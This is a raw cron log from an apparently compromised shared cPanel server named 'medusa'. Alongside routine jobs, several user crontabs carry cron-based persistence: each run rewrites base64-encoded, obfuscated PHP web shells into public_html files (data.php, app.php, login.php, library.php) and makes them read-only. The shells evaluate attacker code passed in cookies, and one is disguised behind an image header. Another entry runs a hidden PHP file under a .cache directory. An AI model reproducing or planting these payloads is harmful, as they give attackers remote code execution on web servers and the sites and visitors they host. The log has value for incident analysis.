Mar  2 04:46:01 medusa CROND[13519]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 04:46:02 medusa CROND[13521]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 04:46:02 medusa CROND[13522]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 04:46:02 medusa CROND[13523]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  2 04:46:02 medusa CROND[13535]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 04:46:02 medusa CROND[13541]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 04:46:02 medusa CROND[13542]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 04:46:02 medusa CROND[13545]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 04:46:02 medusa CROND[13547]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 04:47:01 medusa CROND[31124]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 04:47:01 medusa CROND[31232]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  2 04:47:01 medusa CROND[31418]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 04:47:01 medusa CROND[31419]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 04:47:01 medusa CROND[31420]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 04:47:01 medusa CROND[31421]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 04:47:01 medusa CROND[31425]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 04:47:01 medusa CROND[31430]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 04:47:01 medusa CROND[31432]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 04:47:01 medusa CROND[31429]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 04:47:01 medusa CROND[31434]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 04:47:01 medusa CROND[31435]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 04:47:01 medusa CROND[31447]: (mauro2) CMD (/opt/cpanel/ea-php74/root/usr/bin/php -q "/home6/mauro2/public_html/wp-cron.php")
Mar  2 04:48:01 medusa CROND[16135]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 04:48:01 medusa CROND[16382]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 04:48:01 medusa CROND[16383]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  2 04:48:01 medusa CROND[16384]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 04:48:01 medusa CROND[16386]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 04:48:01 medusa CROND[16385]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 04:48:01 medusa CROND[16391]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
